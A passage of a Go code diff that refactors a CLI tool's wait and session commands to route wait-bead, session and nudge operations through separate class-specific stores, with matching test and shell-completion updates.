 	if cityErr == nil {
 		cfg, _ = loadCityConfig(cityPath, stderr)
 	}
-	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, store, target)
+	// Route SESSION/wait access to the session coordination-class store; identity
+	// today (cfg nil / cityPath "" on resolve failure -> identity).
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, sessStore, target)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session wait: %v\n", err) //nolint:errcheck
 		return 1
 	}
-	sb, err := sessionFrontDoor(store).PersistedMarkers(sessionID)
+	sb, err := sessionFrontDoor(sessStore).PersistedMarkers(sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session wait: %v\n", err) //nolint:errcheck
 		return 1
@@ -253,7 +256,7 @@ func cmdSessionWait(args, depIDs []string, matchAny bool, note string, sleep boo
 	if matchAny {
 		meta["dep_mode"] = "any"
 	}
-	waitBead, err := store.Create(beads.Bead{
+	waitBead, err := sessStore.Create(beads.Bead{
 		Title:       "wait:" + sb.Title,
 		Type:        waitBeadType,
 		Description: note,
@@ -269,7 +272,7 @@ func cmdSessionWait(args, depIDs []string, matchAny bool, note string, sleep boo
 	}
 	ready, depErr := depsWaitReadyDetailedForCity(cityPath, store, waitBead)
 	if depErr != nil {
-		if err := setWaitTerminalState(store, waitBead.ID, map[string]string{
+		if err := setWaitTerminalState(sessStore, waitBead.ID, map[string]string{
 			"state":      waitStateFailed,
 			"failed_at":  now.Format(time.RFC3339),
 			"last_error": depErr.Error(),
@@ -280,7 +283,7 @@ func cmdSessionWait(args, depIDs []string, matchAny bool, note string, sleep boo
 		return 1
 	}
 	if ready {
-		if err := store.SetMetadataBatch(waitBead.ID, map[string]string{
+		if err := sessStore.SetMetadataBatch(waitBead.ID, map[string]string{
 			"state":    waitStateReady,
 			"ready_at": now.Format(time.RFC3339),
 		}); err != nil {
@@ -291,7 +294,7 @@ func cmdSessionWait(args, depIDs []string, matchAny bool, note string, sleep boo
 		return 0
 	}
 	if sleep {
-		if err := sessionFrontDoor(store).ApplyPatch(sessionID, map[string]string{
+		if err := sessionFrontDoor(sessStore).ApplyPatch(sessionID, map[string]string{
 			"wait_hold":    "true",
 			"sleep_intent": "wait-hold",
 		}); err != nil {
@@ -399,11 +402,14 @@ func doWaitListFallback(cityPath, stateFilter, sessionFilter string, jsonOutput
 		fmt.Fprintln(stderr, "hint: run \"gc doctor\" for diagnostics") //nolint:errcheck
 		return 1
 	}
+	// Route SESSION/wait access to the session coordination-class store; identity today.
+	cfg, _ := loadCityConfigWithoutBuiltinPackRefresh(cityPath, io.Discard)
+	sessStore := cliSessionStore(store, cfg, cityPath)
 	var items []beads.Bead
 	if sessionFilter != "" {
-		items, err = loadSessionWaitBeads(store, sessionFilter)
+		items, err = loadSessionWaitBeads(sessStore, sessionFilter)
 	} else {
-		items, err = loadWaitBeads(store)
+		items, err = loadWaitBeads(sessStore)
 	}
 	if err != nil {
 		if !isWaitLookupLimitError(err) {
@@ -514,7 +520,10 @@ func doWaitInspectFallback(cityPath, waitID string, jsonOutput bool, stdout, std
 		fmt.Fprintln(stderr, "hint: run \"gc doctor\" for diagnostics") //nolint:errcheck
 		return 1
 	}
-	b, err := store.Get(waitID)
+	// Route SESSION/wait access to the session coordination-class store; identity today.
+	cfg, _ := loadCityConfigWithoutBuiltinPackRefresh(cityPath, io.Discard)
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	b, err := sessStore.Get(waitID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc wait inspect: %v\n", err) //nolint:errcheck
 		return 1
@@ -639,11 +648,16 @@ func cmdWaitSetState(waitID, state string, stdout, stderr io.Writer) int {
 
 func cmdWaitSetStateResult(waitID, state string, stdout, stderr io.Writer) (waitSetStateResult, int) {
 	result := waitSetStateResult{WaitID: waitID}
-	store, code := openCityStore(stderr, "gc wait")
+	store, cityPath, code := openCityStoreWithPath(stderr, "gc wait")
 	if store == nil {
 		return result, code
 	}
-	b, err := store.Get(waitID)
+	// Route SESSION/wait access to the session coordination-class store; the
+	// nudge lookup rides a NudgesStore over the same work store. Identity today.
+	cfg, _ := loadCityConfigWithoutBuiltinPackRefresh(cityPath, io.Discard)
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	nudges := beads.NudgesStore{Store: store}
+	b, err := sessStore.Get(waitID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc wait: %v\n", err) //nolint:errcheck
 		return result, 1
@@ -660,7 +674,7 @@ func cmdWaitSetStateResult(waitID, state string, stdout, stderr io.Writer) (wait
 	}
 	now := time.Now().UTC().Format(time.RFC3339)
 	if state == waitStateReady && b.Status == "closed" {
-		retried, err := retryClosedWait(store, b, now)
+		retried, err := retryClosedWait(sessStore, nudges, b, now)
 		if err != nil {
 			fmt.Fprintf(stderr, "gc wait: %v\n", err) //nolint:errcheck
 			return result, 1
@@ -676,7 +690,7 @@ func cmdWaitSetStateResult(waitID, state string, stdout, stderr io.Writer) (wait
 	switch state {
 	case waitStateReady:
 		batch["ready_at"] = now
-		nextAttempt, err := nextWaitDeliveryAttempt(nudgeFrontDoor(beads.NudgesStore{Store: store}), b)
+		nextAttempt, err := nextWaitDeliveryAttempt(nudgeFrontDoor(nudges), b)
 		if err != nil {
 			fmt.Fprintf(stderr, "gc wait: %v\n", err) //nolint:errcheck
 			return result, 1
@@ -694,10 +708,10 @@ func cmdWaitSetStateResult(waitID, state string, stdout, stderr io.Writer) (wait
 	case waitStateCanceled:
 		batch["canceled_at"] = now
 	}
-	apply := store.SetMetadataBatch
+	apply := sessStore.SetMetadataBatch
 	if state == waitStateCanceled {
 		apply = func(id string, kv map[string]string) error {
-			return setWaitTerminalState(store, id, kv)
+			return setWaitTerminalState(sessStore, id, kv)
 		}
 	}
 	if err := apply(waitID, batch); err != nil {
@@ -711,7 +725,7 @@ func cmdWaitSetStateResult(waitID, state string, stdout, stderr io.Writer) (wait
 				return result, 1
 			}
 		}
-		if err := clearSessionWaitHoldIfIdle(store, b.Metadata["session_id"]); err != nil {
+		if err := clearSessionWaitHoldIfIdle(sessStore, b.Metadata["session_id"]); err != nil {
 			fmt.Fprintf(stderr, "gc wait: clearing session wait hold: %v\n", err) //nolint:errcheck
 			return result, 1
 		}
@@ -727,6 +741,29 @@ func loadWaitBeads(store beads.Store) ([]beads.Bead, error) {
 	return loadWaitBeadsByLabel(store)
 }
 
+// readyWaitSetForList returns the set of session IDs that have a ready wait
+// nudge, keyed by session_id. It reads WAIT beads, which are session
+// coordination-class: gc:wait maps to coordclass.ClassSessions alongside the
+// session lifecycle beads (see internal/coordclass), so under a
+// [beads.classes.sessions] relocation `gc session list` reads them from the
+// session-class store. It lives with the other wait-bead loaders here rather
+// than in the session command file; `gc session list` consumes it to surface a
+// "wait" wake reason.
+func readyWaitSetForList(store beads.Store) (map[string]bool, error) {
+	items, err := loadWaitBeads(store)
+	ready := make(map[string]bool)
+	for _, item := range items {
+		if item.Metadata["state"] != waitStateReady {
+			continue
+		}
+		sessionID := item.Metadata["session_id"]
+		if sessionID != "" {
+			ready[sessionID] = true
+		}
+	}
+	return ready, err
+}
+
 func loadSessionWaitBeads(store beads.Store, sessionID string) ([]beads.Bead, error) {
 	return sessionpkg.ListSessionWaitBeads(store, sessionID)
 }
@@ -737,7 +774,7 @@ func isWaitLookupLimitError(err error) bool {
 	return beads.IsLookupLimitError(err)
 }
 
-func stampWaitLookupCapDiagnostic(sessFront *sessionpkg.InfoStore, sessionID string, err error, now time.Time, source string) {
+func stampWaitLookupCapDiagnostic(sessFront *sessionpkg.Store, sessionID string, err error, now time.Time, source string) {
 	if sessFront == nil || strings.TrimSpace(sessionID) == "" {
 		return
 	}
@@ -759,9 +796,9 @@ func stampWaitLookupCapDiagnostic(sessFront *sessionpkg.InfoStore, sessionID str
 	}
 }
 
-func stampGlobalWaitLookupCapDiagnostics(sessFront *sessionpkg.InfoStore, sessionBeads *sessionBeadSnapshot, err error, now time.Time) {
-	for _, sessionBead := range sessionBeads.Open() {
-		stampWaitLookupCapDiagnostic(sessFront, sessionBead.ID, err, now, "wake-state-global")
+func stampGlobalWaitLookupCapDiagnostics(sessFront *sessionpkg.Store, sessionBeads *sessionBeadSnapshot, err error, now time.Time) {
+	for _, sessionInfo := range sessionBeads.OpenInfos() {
+		stampWaitLookupCapDiagnostic(sessFront, sessionInfo.ID, err, now, "wake-state-global")
 	}
 }
 
@@ -794,20 +831,20 @@ func loadWaitBeadsByLabel(store beads.Store) ([]beads.Bead, error) {
 	return result, nil
 }
 
-func loadWaitBeadsForWakeState(store beads.Store, sessionBeads *sessionBeadSnapshot) ([]beads.Bead, error) {
+func loadWaitBeadsForWakeState(sessStore beads.Store, sessionBeads *sessionBeadSnapshot) ([]beads.Bead, error) {
 	// Open sessions get per-session coverage; waits tied only to closed
 	// sessions can fall outside the newest global capped window under
 	// saturation, with cap diagnostics as the operator signal.
-	waits, seen, err := loadWaitBeadsForOpenSessionsWithSeen(store, sessionBeads)
+	waits, seen, err := loadWaitBeadsForOpenSessionsWithSeen(sessStore, sessionBeads)
 	if err != nil {
 		return nil, err
 	}
-	globalWaits, err := loadWaitBeads(store)
+	globalWaits, err := loadWaitBeads(sessStore)
 	if err != nil {
 		if !isWaitLookupLimitError(err) {
 			return nil, err
 		}
-		stampGlobalWaitLookupCapDiagnostics(sessionFrontDoor(store), sessionBeads, err, time.Now().UTC())
+		stampGlobalWaitLookupCapDiagnostics(sessionFrontDoor(sessStore), sessionBeads, err, time.Now().UTC())
 		log.Printf("gc wait: global wake-state wait lookup failed; continuing with open-session waits: %v", err)
 	}
 	for _, wait := range globalWaits {
@@ -820,25 +857,25 @@ func loadWaitBeadsForWakeState(store beads.Store, sessionBeads *sessionBeadSnaps
 	return waits, nil
 }
 
-func loadWaitBeadsForOpenSessions(store beads.Store, sessionBeads *sessionBeadSnapshot) ([]beads.Bead, error) {
-	waits, _, err := loadWaitBeadsForOpenSessionsWithSeen(store, sessionBeads)
+func loadWaitBeadsForOpenSessions(sessStore beads.Store, sessionBeads *sessionBeadSnapshot) ([]beads.Bead, error) {
+	waits, _, err := loadWaitBeadsForOpenSessionsWithSeen(sessStore, sessionBeads)
 	return waits, err
 }
 
-func loadWaitBeadsForOpenSessionsWithSeen(store beads.Store, sessionBeads *sessionBeadSnapshot) ([]beads.Bead, map[string]bool, error) {
+func loadWaitBeadsForOpenSessionsWithSeen(sessStore beads.Store, sessionBeads *sessionBeadSnapshot) ([]beads.Bead, map[string]bool, error) {
 	seen := map[string]bool{}
-	if store == nil || sessionBeads == nil {
+	if sessStore == nil || sessionBeads == nil {
 		return nil, seen, nil
 	}
 	waits := []beads.Bead(nil)
-	for _, sessionBead := range sessionBeads.Open() {
-		sessionWaits, err := loadSessionWaitBeads(store, sessionBead.ID)
+	for _, sessionInfo := range sessionBeads.OpenInfos() {
+		sessionWaits, err := loadSessionWaitBeads(sessStore, sessionInfo.ID)
 		if err != nil {
 			if !isWaitLookupLimitError(err) {
 				return nil, seen, err
 			}
-			stampWaitLookupCapDiagnostic(sessionFrontDoor(store), sessionBead.ID, err, time.Now().UTC(), "wake-state-session")
-			log.Printf("gc wait: session %s wait lookup capped; continuing with filtered partial waits: %v", sessionBead.ID, err)
+			stampWaitLookupCapDiagnostic(sessionFrontDoor(sessStore), sessionInfo.ID, err, time.Now().UTC(), "wake-state-session")
+			log.Printf("gc wait: session %s wait lookup capped; continuing with filtered partial waits: %v", sessionInfo.ID, err)
 		}
 		for _, wait := range sessionWaits {
 			if seen[wait.ID] {
@@ -981,18 +1018,20 @@ func prepareWaitWakeState(store beads.Store, now time.Time) (map[string]bool, er
 }
 
 func prepareWaitWakeStateForCity(cityPath string, store beads.Store, now time.Time) (map[string]bool, error) {
-	return prepareWaitWakeStateForCityWithSnapshot(cityPath, beads.SessionStore{Store: store}, now, nil)
+	// Single-store wrapper: fan the one work store into every class param so
+	// the ~22 existing test call sites stay untouched. Identity today.
+	return prepareWaitWakeStateForCityWithSnapshot(cityPath, beads.SessionStore{Store: store}, store, beads.NudgesStore{Store: store}, now, nil)
 }
 
-func prepareWaitWakeStateForCityWithSnapshot(cityPath string, store beads.SessionStore, now time.Time, sessionBeads *sessionBeadSnapshot) (map[string]bool, error) {
+func prepareWaitWakeStateForCityWithSnapshot(cityPath string, sessStore beads.SessionStore, workStore beads.Store, nudges beads.NudgesStore, now time.Time, sessionBeads *sessionBeadSnapshot) (map[string]bool, error) {
 	if sessionBeads == nil {
 		var err error
-		sessionBeads, err = loadSessionBeadSnapshot(store.Store)
+		sessionBeads, err = loadSessionBeadSnapshot(sessStore.Store)
 		if err != nil {
 			return nil, err
 		}
 	}
-	waits, err := loadWaitBeadsForWakeState(store.Store, sessionBeads)
+	waits, err := loadWaitBeadsForWakeState(sessStore.Store, sessionBeads)
 	if err != nil {
 		return nil, err
 	}
@@ -1006,11 +1045,11 @@ func prepareWaitWakeStateForCityWithSnapshot(cityPath string, store beads.Sessio
 		if isWaitTerminal(state) {
 			continue
 		}
-		sessionBead, ok := sessionBeads.FindByID(sessionID)
+		sessionInfo, ok := sessionBeads.FindInfoByID(sessionID)
 		if !ok {
 			if wait.Metadata["registered_epoch"] != "" {
 				var found bool
-				sessionBead, found, err = lookupSessionBeadByID(store.Store, sessionID)
+				sessionInfo, found, err = lookupSessionBeadByIDInfo(sessStore.Store, sessionID)
 				if err != nil {
 					return nil, err
 				}
@@ -1021,21 +1060,21 @@ func prepareWaitWakeStateForCityWithSnapshot(cityPath string, store beads.Sessio
 				continue
 			}
 		}
-		if epoch := wait.Metadata["registered_epoch"]; epoch != "" && sessionBead.Metadata["continuation_epoch"] != "" && epoch != sessionBead.Metadata["continuation_epoch"] {
-			if err := setWaitTerminalState(store.Store, wait.ID, map[string]string{
+		if epoch := wait.Metadata["registered_epoch"]; epoch != "" && sessionInfo.ContinuationEpoch != "" && epoch != sessionInfo.ContinuationEpoch {
+			if err := setWaitTerminalState(sessStore.Store, wait.ID, map[string]string{
 				"state":       waitStateCanceled,
 				"canceled_at": now.UTC().Format(time.RFC3339),
 				"last_error":  "continuation-stale",
 			}); err != nil {
 				return nil, err
 			}
-			if err := clearSessionWaitHoldIfIdle(store, sessionID); err != nil {
+			if err := clearSessionWaitHoldIfIdle(sessStore, sessionID); err != nil {
 				return nil, err
 			}
 			continue
 		}
-		if sessionBead.Status == "closed" {
-			if err := setWaitTerminalState(store, wait.ID, map[string]string{
+		if sessionInfo.Closed {
+			if err := setWaitTerminalState(sessStore, wait.ID, map[string]string{
 				"state":       waitStateCanceled,
 				"canceled_at": now.UTC().Format(time.RFC3339),
 				"last_error":  "session-closed",
@@ -1049,25 +1088,27 @@ func prepareWaitWakeStateForCityWithSnapshot(cityPath string, store beads.Sessio
 		}
 		if expiresAt := wait.Metadata["expires_at"]; expiresAt != "" {
 			if ts, err := time.Parse(time.RFC3339, expiresAt); err == nil && !ts.After(now) {
-				if err := setWaitTerminalState(store, wait.ID, map[string]string{
+				if err := setWaitTerminalState(sessStore, wait.ID, map[string]string{
 					"state":      waitStateExpired,
 					"expired_at": now.UTC().Format(time.RFC3339),
 				}); err != nil {
 					return nil, err
 				}
-				if err := clearSessionWaitHoldIfIdle(store, sessionID); err != nil {
+				if err := clearSessionWaitHoldIfIdle(sessStore, sessionID); err != nil {
 					return nil, err
 				}
 				continue
 			}
 		}
 		if state == waitStateReady {
-			done, err := finalizeReadyWaitFromNudge(store, wait, now)
+			// Wait-nudge shadow lookup rides the nudges class; the wait bead
+			// itself is session-class. Route each to its own store; identity today.
+			done, err := finalizeReadyWaitFromNudge(sessStore, nudges, wait, now)
 			if err != nil {
 				return nil, err
 			}
 			if done {
-				if err := clearSessionWaitHoldIfIdle(store, sessionID); err != nil {
+				if err := clearSessionWaitHoldIfIdle(sessStore, sessionID); err != nil {
 					return nil, err
 				}
 				continue
@@ -1078,17 +1119,18 @@ func prepareWaitWakeStateForCityWithSnapshot(cityPath string, store beads.Sessio
 		if wait.Metadata["kind"] != "deps" {
 			continue
 		}
-		ready, depErr := depsWaitReadyDetailedForCity(cityPath, store, wait)
+		// Dependency beads are WORK class — read them from the work store.
+		ready, depErr := depsWaitReadyDetailedForCity(cityPath, workStore, wait)
 		if depErr != nil {
 			if errors.Is(depErr, beads.ErrNotFound) {
-				if err := setWaitTerminalState(store, wait.ID, map[string]string{
+				if err := setWaitTerminalState(sessStore, wait.ID, map[string]string{
 					"state":      waitStateFailed,
 					"failed_at":  now.UTC().Format(time.RFC3339),
 					"last_error": depErr.Error(),
 				}); err != nil {
 					return nil, err
 				}
-				if err := clearSessionWaitHoldIfIdle(store, sessionID); err != nil {
+				if err := clearSessionWaitHoldIfIdle(sessStore, sessionID); err != nil {
 					return nil, err
 				}
 				continue
@@ -1096,7 +1138,7 @@ func prepareWaitWakeStateForCityWithSnapshot(cityPath string, store beads.Sessio
 			return nil, depErr
 		}
 		if ready {
-			if err := store.SetMetadataBatch(wait.ID, map[string]string{
+			if err := sessStore.SetMetadataBatch(wait.ID, map[string]string{
 				"state":    waitStateReady,
 				"ready_at": now.UTC().Format(time.RFC3339),
 			}); err != nil {
@@ -1125,19 +1167,33 @@ func lookupSessionBeadByID(store beads.Store, id string) (beads.Bead, bool, erro
 	return bead, true, nil
 }
 
+// lookupSessionBeadByIDInfo is the session.Info projection of
+// lookupSessionBeadByID: the wait-diagnostic fallback that reads a single
+// session bead by ID when it is absent from the snapshot, returned through the
+// typed front door.
+func lookupSessionBeadByIDInfo(store beads.Store, id string) (sessionpkg.Info, bool, error) {
+	bead, ok, err := lookupSessionBeadByID(store, id)
+	if !ok || err != nil {
+		return sessionpkg.Info{}, ok, err
+	}
+	return sessionpkg.InfoFromPersistedBead(bead), true, nil
+}
+
 func dispatchReadyWaitNudges(cityPath string, store beads.Store, _ runtime.Provider, now time.Time) error {
-	return dispatchReadyWaitNudgesWithSnapshot(cityPath, nil, store, now, nil)
+	// Single-store wrapper: fan the one work store into the session and nudges
+	// class params so existing test call sites stay untouched. Identity today.
+	return dispatchReadyWaitNudgesWithSnapshot(cityPath, nil, beads.SessionStore{Store: store}, beads.NudgesStore{Store: store}, now, nil)
 }
 
-func dispatchReadyWaitNudgesWithSnapshot(cityPath string, cfg *config.City, store beads.Store, now time.Time, sessionBeads *sessionBeadSnapshot) error {
+func dispatchReadyWaitNudgesWithSnapshot(cityPath string, cfg *config.City, sessStore beads.SessionStore, nudges beads.NudgesStore, now time.Time, sessionBeads *sessionBeadSnapshot) error {
 	if sessionBeads == nil {
 		var err error
-		sessionBeads, err = loadSessionBeadSnapshot(store)
+		sessionBeads, err = loadSessionBeadSnapshot(sessStore.Store)
 		if err != nil {
 			return err
 		}
 	}
-	waits, err := loadWaitBeadsForOpenSessions(store, sessionBeads)
+	waits, err := loadWaitBeadsForOpenSessions(sessStore.Store, sessionBeads)
 	if err != nil {
 		return err
 	}
@@ -1160,10 +1216,10 @@ func dispatchReadyWaitNudgesWithSnapshot(cityPath string, cfg *config.City, stor
 		if nudgeID == "" {
 			continue
 		}
-		_, ok, err := nudgeFrontDoor(beads.NudgesStore{Store: store}).Find(nudgeID)
+		_, ok, err := nudgeFrontDoor(nudges).Find(nudgeID)
 		if err != nil {
 			if beads.IsLookupLimitError(err) {
-				stampWaitLookupCapDiagnostic(sessionFrontDoor(store), sessionID, err, now, "ready-wait-nudge")
+				stampWaitLookupCapDiagnostic(sessionFrontDoor(sessStore.Store), sessionID, err, now, "ready-wait-nudge")
 				continue
 			}
 			return err
@@ -1182,10 +1238,10 @@ func dispatchReadyWaitNudgesWithSnapshot(cityPath string, cfg *config.City, stor
 			ContinuationEpoch: wait.Metadata["registered_epoch"],
 			Reference:         &nudgeReference{Kind: "bead", ID: wait.ID},
 		})
-		if err := enqueueQueuedNudgeWithStore(cityPath, beads.NudgesStore{Store: store}, item); err != nil {
+		if err := enqueueQueuedNudgeWithStore(cityPath, nudges, item); err != nil {
 			return err
 		}
-		if err := store.SetMetadata(wait.ID, "nudge_id", nudgeID); err != nil {
+		if err := sessStore.SetMetadata(wait.ID, "nudge_id", nudgeID); err != nil {
 			return fmt.Errorf("setting wait nudge_id: %w", err)
 		}
 		// provider_kind is stamped from ResolvedProvider.Kind /
@@ -1219,7 +1275,11 @@ func cachedSessionCanReceiveWaitNudge(sessionBead beads.Bead) bool {
 	}
 }
 
-func finalizeReadyWaitFromNudge(store beads.Store, wait beads.Bead, now time.Time) (bool, error) {
+// finalizeReadyWaitFromNudge closes a ready wait once its shadow nudge reaches a
+// terminal state. sessStore is the session coordination-class store for the wait
+// bead and cap-diagnostic stamp; nudges is the nudges-class store for the shadow
+// nudge lookup. Identity today (both wrap the same work store).
+func finalizeReadyWaitFromNudge(sessStore beads.Store, nudges beads.NudgesStore, wait beads.Bead, now time.Time) (bool, error) {
 	nudgeID := wait.Metadata["nudge_id"]
 	if nudgeID == "" {
 		nudgeID = waitNudgeID(wait)
@@ -1227,10 +1287,10 @@ func finalizeReadyWaitFromNudge(store beads.Store, wait beads.Bead, now time.Tim
 	if nudgeID == "" {
 		return false, nil
 	}
-	nudge, ok, err := nudgeFrontDoor(beads.NudgesStore{Store: store}).FindIncludingTerminal(nudgeID)
+	nudge, ok, err := nudgeFrontDoor(nudges).FindIncludingTerminal(nudgeID)
 	if err != nil {
 		if beads.IsLookupLimitError(err) {
-			stampWaitLookupCapDiagnostic(sessionFrontDoor(store), wait.Metadata["session_id"], err, now, "ready-wait-finalize-nudge")
+			stampWaitLookupCapDiagnostic(sessionFrontDoor(sessStore), wait.Metadata["session_id"], err, now, "ready-wait-finalize-nudge")
 			return false, nil
 		}
 		return false, err
@@ -1240,14 +1300,14 @@ func finalizeReadyWaitFromNudge(store beads.Store, wait beads.Bead, now time.Tim
 	}
 	switch nudge.State {
 	case "injected", "accepted_for_injection":
-		return true, setWaitTerminalState(store, wait.ID, map[string]string{
+		return true, setWaitTerminalState(sessStore, wait.ID, map[string]string{
 			"state":           waitStateClosed,
 			"closed_at":       now.UTC().Format(time.RFC3339),
 			"nudge_id":        nudgeID,
 			"commit_boundary": nudge.CommitBoundary,
 		})
 	case "expired", "failed":
-		return true, setWaitTerminalState(store, wait.ID, map[string]string{
+		return true, setWaitTerminalState(sessStore, wait.ID, map[string]string{
 			"state":           waitStateFailed,
 			"failed_at":       now.UTC().Format(time.RFC3339),
 			"nudge_id":        nudgeID,
@@ -1277,7 +1337,7 @@ func cancelWaitsForSession(store beads.Store, sessionID string) error {
 	return err
 }
 
-func clearSessionWaitHold(sessFront *sessionpkg.InfoStore, sessionID string) error {
+func clearSessionWaitHold(sessFront *sessionpkg.Store, sessionID string) error {
 	if sessionID == "" {
 		return nil
 	}
@@ -1293,15 +1353,15 @@ func clearSessionWaitHold(sessFront *sessionpkg.InfoStore, sessionID string) err
 	return sessFront.ApplyPatch(sessionID, batch)
 }
 
-func clearSessionWaitHoldIfIdle(store beads.Store, sessionID string) error {
-	hasWaits, err := hasNonTerminalWaits(store, sessionID)
+func clearSessionWaitHoldIfIdle(sessStore beads.Store, sessionID string) error {
+	hasWaits, err := hasNonTerminalWaits(sessStore, sessionID)
 	if err != nil {
 		return err
 	}
 	if hasWaits {
 		return nil
 	}
-	return clearSessionWaitHold(sessionFrontDoor(store), sessionID)
+	return clearSessionWaitHold(sessionFrontDoor(sessStore), sessionID)
 }
 
 func hasNonTerminalWaits(store beads.Store, sessionID string) (bool, error) {
@@ -1361,8 +1421,11 @@ func setWaitTerminalState(store beads.Store, waitID string, batch map[string]str
 	return store.Close(waitID)
 }
 
-func retryClosedWait(store beads.Store, wait beads.Bead, now string) (beads.Bead, error) {
-	nextAttempt, err := nextWaitDeliveryAttempt(nudgeFrontDoor(beads.NudgesStore{Store: store}), wait)
+// retryClosedWait re-registers a closed wait as ready. sessStore is the session
+// coordination-class store for the wait bead and session marker reads; nudges is
+// the nudges-class store for the delivery-attempt lookup. Identity today.
+func retryClosedWait(sessStore beads.Store, nudges beads.NudgesStore, wait beads.Bead, now string) (beads.Bead, error) {
+	nextAttempt, err := nextWaitDeliveryAttempt(nudgeFrontDoor(nudges), wait)
 	if err != nil {
 		return beads.Bead{}, err
 	}
@@ -1385,8 +1448,8 @@ func retryClosedWait(store beads.Store, wait beads.Bead, now string) (beads.Bead
 	meta["canceled_at"] = ""
 	meta["created_at"] = now
 	meta["retried_from_wait"] = wait.ID
-	if sessionID := wait.Metadata["session_id"]; sessionID != "" && store != nil {
-		if markers, err := sessionFrontDoor(store).PersistedMarkers(sessionID); err == nil {
+	if sessionID := wait.Metadata["session_id"]; sessionID != "" && sessStore != nil {
+		if markers, err := sessionFrontDoor(sessStore).PersistedMarkers(sessionID); err == nil {
 			if epoch := markers.ContinuationEpoch; epoch != "" {
 				meta["registered_epoch"] = epoch
 			}
@@ -1395,7 +1458,7 @@ func retryClosedWait(store beads.Store, wait beads.Bead, now string) (beads.Bead
 			}
 		}
 	}
-	return store.Create(beads.Bead{
+	return sessStore.Create(beads.Bead{
 		Title:       wait.Title,
 		Type:        wait.Type,
 		Description: wait.Description,
diff --git a/cmd/gc/cmd_wait_test.go b/cmd/gc/cmd_wait_test.go
index 328366e368..1f586140d1 100644
--- a/cmd/gc/cmd_wait_test.go
+++ b/cmd/gc/cmd_wait_test.go
@@ -1572,7 +1572,7 @@ func TestRetryClosedWait_CreatesReplacement(t *testing.T) {
 		t.Fatalf("close wait bead: %v", err)
 	}
 
-	retried, err := retryClosedWait(store, wait, time.Now().UTC().Format(time.RFC3339))
+	retried, err := retryClosedWait(store, beads.NudgesStore{Store: store}, wait, time.Now().UTC().Format(time.RFC3339))
 	if err != nil {
 		t.Fatalf("retryClosedWait: %v", err)
 	}
@@ -1629,7 +1629,7 @@ func TestRetryClosedWait_DropsInternalMetadata(t *testing.T) {
 		t.Fatalf("close wait bead: %v", err)
 	}
 
-	retried, err := retryClosedWait(store, wait, time.Now().UTC().Format(time.RFC3339))
+	retried, err := retryClosedWait(store, beads.NudgesStore{Store: store}, wait, time.Now().UTC().Format(time.RFC3339))
 	if err != nil {
 		t.Fatalf("retryClosedWait: %v", err)
 	}
@@ -1678,7 +1678,7 @@ func TestRetryClosedWait_PreservesNonDepsMetadata(t *testing.T) {
 		t.Fatalf("close wait bead: %v", err)
 	}
 
-	retried, err := retryClosedWait(store, wait, time.Now().UTC().Format(time.RFC3339))
+	retried, err := retryClosedWait(store, beads.NudgesStore{Store: store}, wait, time.Now().UTC().Format(time.RFC3339))
 	if err != nil {
 		t.Fatalf("retryClosedWait: %v", err)
 	}
diff --git a/cmd/gc/completion.go b/cmd/gc/completion.go
index 4b6394b49c..c34ec5f4cf 100644
--- a/cmd/gc/completion.go
+++ b/cmd/gc/completion.go
@@ -247,8 +247,12 @@ func loadSessionsForCompletion() []session.Info {
 		if err != nil {
 			return
 		}
+		// loadSessionsForCompletion reads only session-class state (session beads
+		// plus the session catalog), so route through the session
+		// coordination-class store for relocation-safety.
+		sessStore := cliSessionStore(store, cfg, cityPath)
 		providerCtx := sessionProviderContextForCity(cfg, cityPath, os.Getenv("GC_SESSION"))
-		allSessionBeads, err := session.ListAllSessionBeads(store, beads.ListQuery{
+		allSessionBeads, err := session.ListAllSessionBeads(sessStore, beads.ListQuery{
 			Sort: beads.SortCreatedDesc,
 		})
 		if err != nil {
@@ -259,7 +263,7 @@ func loadSessionsForCompletion() []session.Info {
 		if err != nil {
 			return
 		}
-		catalog, err := workerSessionCatalogWithConfig("", store, sp, providerCtx.cfg)
+		catalog, err := workerSessionCatalogWithConfig("", sessStore, sp, providerCtx.cfg)
 		if err != nil {
 			return
 		}
diff --git a/cmd/gc/compute_awake_bridge.go b/cmd/gc/compute_awake_bridge.go
index a47d5e071c..ce574584f1 100644
--- a/cmd/gc/compute_awake_bridge.go
+++ b/cmd/gc/compute_awake_bridge.go
@@ -18,7 +18,7 @@ import (
 func buildAwakeInputFromReconciler(
 	cfg *config.City,
 	cityPath string,
-	sessionBeads []beads.Bead,
+	sessionInfos []session.Info,
 	poolDesired map[string]int,
 	namedSessionDemand map[string]bool,
 	workSet map[string]bool,
@@ -93,48 +93,52 @@ func buildAwakeInputFromReconciler(
 		}
 	}
 
-	// Session beads
-	for i := range sessionBeads {
-		b := &sessionBeads[i]
-		if b.Status == "closed" {
+	// Session infos. The reconciler passes its coherent typed snapshot — one
+	// session.Info per session bead, in the reconciler's `ordered` slice order.
+	// Slice order is load-bearing: ComputeAwakeSet resolves SessionName by
+	// last-write-wins and first-match, and SessionName is non-unique (a retired
+	// duplicate and its winner share it), so the iteration domain must stay
+	// order-preserving. Each Info already carries the typed persisted facts, so no
+	// raw session bead is cracked here.
+	for i := range sessionInfos {
+		info := sessionInfos[i]
+		if info.Closed {
 			continue
 		}
-		name := strings.TrimSpace(b.Metadata["session_name"])
+		name := strings.TrimSpace(info.SessionNameMetadata)
 		if name == "" {
 			continue
 		}
-		lifecycle := session.ProjectLifecycle(session.LifecycleInput{
-			Status:   b.Status,
-			Metadata: b.Metadata,
-			Now:      clk,
-		})
+		lcInput := session.LifecycleInputFromInfo(info)
+		lcInput.Now = clk
+		lifecycle := session.ProjectLifecycle(lcInput)
 		bead := AwakeSessionBead{
-			ID:          b.ID,
+			ID:          info.ID,
 			SessionName: name,
 			// Canonicalize so adopted beads persisted under a legacy identity
 			// (e.g. a removed binding) key the awake engine by the current
 			// agent template. Unresolvable templates pass through unchanged.
-			Template:               normalizeAgentTemplateIdentity(cfg, b.Metadata["template"]),
+			Template:               normalizeAgentTemplateIdentity(cfg, info.Template),
 			State:                  string(lifecycle.CompatState),
-			SleepReason:            b.Metadata["sleep_reason"],
-			ManualSession:          isManualSessionBead(*b),
